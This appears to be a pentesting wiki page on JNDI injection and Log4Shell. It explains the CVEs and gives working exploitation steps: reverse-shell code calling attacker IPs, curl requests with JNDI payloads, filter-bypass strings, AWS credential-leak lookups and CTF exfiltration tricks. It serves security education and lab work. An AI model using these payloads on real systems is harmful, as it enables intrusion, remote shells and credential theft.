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JNDI - Java Naming and Directory Interface & Log4Shell
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Basic Information

JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data through a directory using a name service. A name service associates values (bindings), so it can be obtained through its reference in the directory.
JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services. The goal of JNDI is to obtain data from other systems very easily. You can even obtain java objects remotely, and this is where a problem arises.
For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP.

JNDI Naming Reference

In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this wonโ€™t work (maybe because the data is too large, or any other thing). In order to save more easily Java Objects, Naming References are used. There are 2 types of Naming References:
  • Reference Addresses: This indicates the address of the Object (rmi://server/ref), then the object will be retrieved from that address.
  • Remote Factory: In this case a remote factory class will be pointed in the JNDI reference, then, following the JNDI address the remote class will be taken from the remote factory and the class will be downloaded and loaded.
This is dangerous because attackers may make the system load arbitrary objects and execute arbitrary code, therefore some protections exists:
  • RMI: java.rmi.server.useCodeabseOnly = true by default since JDK 7u21, otherwise it will allow to load custom java objects remotely. Moreover, even if the protection is disabled, a Security Manager is enforced to configure what can be loaded.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false by default since JDK 6u141, 7u131, 8u121, and it wonโ€™t allow to execute arbitrary java objects downloaded. But if this is set to true it will and no Security Manager will be enforced.
  • CORBA: There is no property to be configured but the Security Manager is always enforced.
Moreover, the Naming Manager, the one that is going to follow the JNDI links, doesnโ€™t have any Security Manager or property to be configured, so it will always try to get the object.
As you can see the protections in general arenโ€™t enough because there is no protection agains loading JNDI from random addresses and the protections of RMI, LDAP and CORBA could be bypassed (depending on the configuration) to load arbitrary java objects or to load java objects that will abuse existent components in the application as gadgets to execute arbitrary code.
URLs example to abuse JNDI:
  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

JNDI Example

Even if you have set a PROVIDER_URL, you can indicate a different one in a lookup and it will be accessed: ctx.lookup("<attacker-controlled-url>") and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.

CORBA

An Interoperable Object Reference (IOR) is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary. Among other information, it conteins the Type ID (a unique identifier for an interface) and the Codebase (remote location using to get the stub class). Note that by default CORBA cannot be abused. It requires:
  • A Security Manager must be installed
  • Connection to the codebase controlled by the attacker must be allowed by Security Manager. There are different ways to allow this:
    • Socket permission: permissions java.net.SocketPermission "*:1098-1099", "connect";
    • File permission allowing to read all files: permission java.io.FilePermission "<<ALL FILES>>", "read";
    • File permission to read the folder where the attacker can upload the exploits (classes or zip archive)
You might find policies of vendors allowing this by default.

RMI

As indicated in the previous JNDI Naming Reference Section, RMI by default wonโ€™t allow to download arbitrary Java Classes. And moreover, even if it will, you will need to bypass the Security Manager policies (in the previous section we learned that this was possible with CORBA).

LDAP

First of all, wee need to distinguish between a Search and a Lookup. A search will use an URL like ldap://localhost:389/o=JNDITutorial to find the JNDITutorial object from an LDAP server and retreive its attributes. A lookup is meant for naming services as we want to get whatever is bound to a name.
If the LDAP search was invoked with SearchControls.setReturningObjFlag() with true, then the returned object will be reconstructed.
Therefore, there are several ways to attack these options. An attacker may poison LDAP records introducing payloads on them that will be executed in the systems that gather them (very useful to compromise tens of machines if you have access to the LDAP server). Another way to exploit this would be to perform a MitM attack in a LDAP search for example.
In case you can make an app resolve a JNDI LDAP URL, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).

Deserialization exploit

The exploit is serialized and will be deserialized. In case trustURLCodebase is true, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.

JNDI Reference exploit

It's easier to attack this LDAP using JavaFactory references:

Log4Shell Vulnerability

The vulnerability is introduced in Log4j because it supports a special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.
In LOG4J2-313 added a jndi Lookup as follows: โ€œThe JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.โ€
With a : present in the key, as in ${jndi:ldap://example.com/a} thereโ€™s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
Therefore, the only thing needed to get RCE a vulnerable version of Log4j processing information controlled by the user. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is not used to log only HTTP information but any input and data the developer indicated.

Log4Shell CVEs

  • โ€‹CVE-2021-44228 [Critical]: The original 'Log4Shell' vulnerability is an untrusted deserialization flaw. Rated critical in severity, this one scores a 10 on the CVSS scale and grants remote code execution (RCE) abilities to unauthenticated attackers, allowing complete system takeover. Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others. Being the most dangerous of them all, this vulnerability lurks in the log4j-core component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading). Threat intel analyst Florian Roth shared Sigma rules [1, 2] that can be employed as one of the defenses.\
  • โ€‹CVE-2021-45046 [Critical, previously Low]: This one is a Denial of Service (DoS) flaw scoring a 3.7 9.0. The flaw arose as a result of an incomplete fix that went into 2.15.0 for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain non-default configurations. Log4j 2.15.0 makes "a best-effort attempt" to restrict JNDI LDAP lookups to _localhost_ by default. But, attackers who have control over the Thread Context Map (MDC) input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. ${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC). The bypass taken from this tweet was: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. __ __"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\
  • โ€‹CVE-2021-4104 [High]: Did we say Log4j 2.x versions were vulnerable? What about Log4j 1.x? While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, non-default configuration of Log4j 1.x instances using the _JMSAppender_** class also become susceptible to the untrusted deserialization flaw**. Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the log4j:log4j and org.apache.log4j:log4j components for which only 1.x releases exist. Because these are end-of-life versions, a fix for 1.x branch does not exist anywhere, and one should upgrade to log4j-core 2.17.0. (Apparently 1.0 isn't vulnerable).\
  • โ€‹CVE-2021-42550 [Moderate]: This is a vulnerability in the Logback logging framework. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off." Up until last week, Logback also bragged that being "unrelated to log4j 2.x, [logback] does not share its vulnerabilities." That assumption quickly faded when CVE-2021-4104 was discovered to impact Log4j 1.x as well, and the possibility of potential impact to Logback was assessed. Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been released.\
  • CVE-2021-45105 [High]: Log4j 2.16.0 was found out to be vulnerable to a DoS flaw rated 'High' in severity. Apache has since released a log4j 2.17.0 version fixing the CVE. More details on this development are provided in BleepingComputer's latest report.
  • โ€‹CVE-2021-44832: This new CVE affects the version 2.17 of log4j. This vulnerability requires the attacker to control the configuration file of log4j as itโ€™s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the vulnerability and exploitation read this info.

Log4Shell Exploitation

Discovery

This vulnerability is very easy to discover because it will send at least a DNS request to the address you indicate in your payload. Therefore, payloads like:
  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (using canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (using interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (using dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} using (using huntress)
Note that even if a DNS request is received that doesn't mean the application is exploitable (or even vulnerable), you will need to try to exploit it.
Remember that to exploit version 2.15 you need to add the localhost check bypass: ${jndi:ldap://127.0.0.1#...}

Local Discovery

Search for local vulnerable versions of the library with:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verification

Some of the platforms listed before will allow you to insert some variable data that will be logged when itโ€™s requested. This can be very useful for 2 things:
  • To verify the vulnerability
  • To exfiltrate information abusing the vulnerability
For example you could request something like: or like ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} and if a DNS request is received with the value of the env variable, you know the application is vulnerable.
Other information you could try to leak:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
โ€‹
Any other env variable name that could store sensitive information

RCE Information

Hosts running on JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading vector BUT NOT the deserialisation vector. This is because com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible. This means that to exploit the mentioned versions you will need to abuse some trusted gadget that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier).
For more information (like limitations on RMI and CORBA vectors) check the previous JNDI Naming Reference section or https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/โ€‹

RCE - Marshalsec with custom payload

This trick is entirely taken from the THM box: https://tryhackme.com/room/solar__
For this exploit the tool marshalsec (download a jar version from here) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Create the class file executing: javac Exploit.java -source 8 -target 8 and then run a HTTP server in the same directory the class file was created: python3 -m http.server. The LDAP server from marshalsec should be pointing this HTTP server. Then, you can make the vulnerable web server execute the exploit class by sending a payload like:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit wonโ€™t work. In that case, you need to abuse a trusted class to execute arbitrary code.

RCE - JNDIExploit

Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 but if you want to respect the decision of the author use a different method to exploit this vuln.
Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
For this example you can just run this vulnerable web server to log4shell in port 8080: https://github.com/christophetd/log4shell-vulnerable-app (in the README you will find how to run it). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header X-Api-Version.
Then, you can download the JNDIExploit jar file and execute it with:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP and HTTP servers are created. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit. In com.feihong.ldap.gadgets you can find some specific gadgets that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will generate the exploits.
You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Some useful ones are:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
So, in our example, we already have that docker vulnerable app running. To attack it:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
โ€‹
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
When sending the attacks you will see some output in the terminal where you executed JNDIExploit-1.2-SNAPSHOT.jar.
Remember to check java -jar JNDIExploit-1.2-SNAPSHOT.jar -u for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.

RCE - JNDI-Exploit-Kit

In a similar way to the previous exploit, you can try to use JNDI-Exploit-Kit to exploit this vulnerability. You can generate the URLs to send to the victim running:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
โ€‹
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
This attack using a custom generated java object will work in labs like the THM solar room. However, this wonโ€™t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because itโ€™s not abusing a trusted class to execute arbitrary code.

RCE - ysoserial & JNDI-Exploit-Kit

This option is really useful to attack Java versions configured to only trust specified classes and not everyone. Therefore, ysoserial will be used to generate serializations of trusted classes that can be used as gadgets to execute arbitrary code (the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work).
Using ysoserial or ysoserial-modified you can create the deserialization exploit that will be downloaded by JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Use JNDI-Exploit-Kit to generate JNDI links where the exploit will be waiting for connections from the vulnerable machines. You can server different exploit that can be automatically generated by the JNDI-Exploit-Kit or even your own deserialization payloads (generated by you or ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a reverse shell just sending to a vulnerable version of log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ฤฑ}}:ldap://...} //Notice the unicode "i"

Automatic Scanners

Labs to test

Post-Log4Shell Exploitation

In this CTF writeup is well explained how it's potentially possible to abuse some features of Log4J.
The security page of Log4j has some interesting sentences:
From version 2.16.0 (for Java 8), the message lookups feature has been completely removed. Lookups in configuration still work. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), only lookup strings in configuration are expanded recursively; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
This means that by default you can forget using any jndi exploit. Moreover, to perform recursive lookups you need to have them configure.
For example, in that CTF this was configured in the file log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

In this CTF the attacker controlled the value of ${sys:cmd} and needed to exfiltrate the flag from an environment variable. As seen in this page in previous payloads there are different some ways to access env variables, such as: ${env:FLAG}. In this CTF this was useless but it might not be in other real life scenarios.

Exfiltration in Exceptions

In the CTF, you couldn't access the stderr of the java application using log4J, but Log4J exceptions are sent to stdout, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: ${java:${env:FLAG}}. This works because ${java:CTF{blahblah}} doesn't exist and an exception with the value of the flag will be shown:

Conversion Patterns Exceptions

Just to mention it, you could also inject new conversion patterns and trigger exceptions that will be logged to stdout. For example:
This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.

Conversion Patterns Regexes

However, it's possible to use some conversion patterns that supports regexes to exfiltrate information from a lookup by using regexes and abusing binary search or time based behaviours.
  • Binary search via exception messages
The conversion pattern %replace can be use to replace content from a string even using regexes. It works like this: replace{pattern}{regex}{substitution} Abusing this behaviour you could make replace trigger an exception if the regex matched anything inside the string (and no exception if it wasn't found) like this:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Time based
As it was mentioned in the previous section, %replace supports regexes. So it's possible to use payload from the ReDoS page to cause a timeout in case the flag is found. For example, a payload like %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} would trigger a timeout in that CTF.
In this writeup, instead of using a ReDoS attack it used an amplification attack to cause a time difference in the response:
/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
If the flag starts with flagGuess, the whole flag is replaced with 29 #-s (I used this character because it would likely not be part of the flag). Each of the resulting 29 #-s is then replaced by 54 #-s. This process is repeated 6 times, leading to a total of 29*54*54^6* = 96816014208 #-s!
Replacing so many #-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with flagGuess, we will receive a non-500 status code)

References

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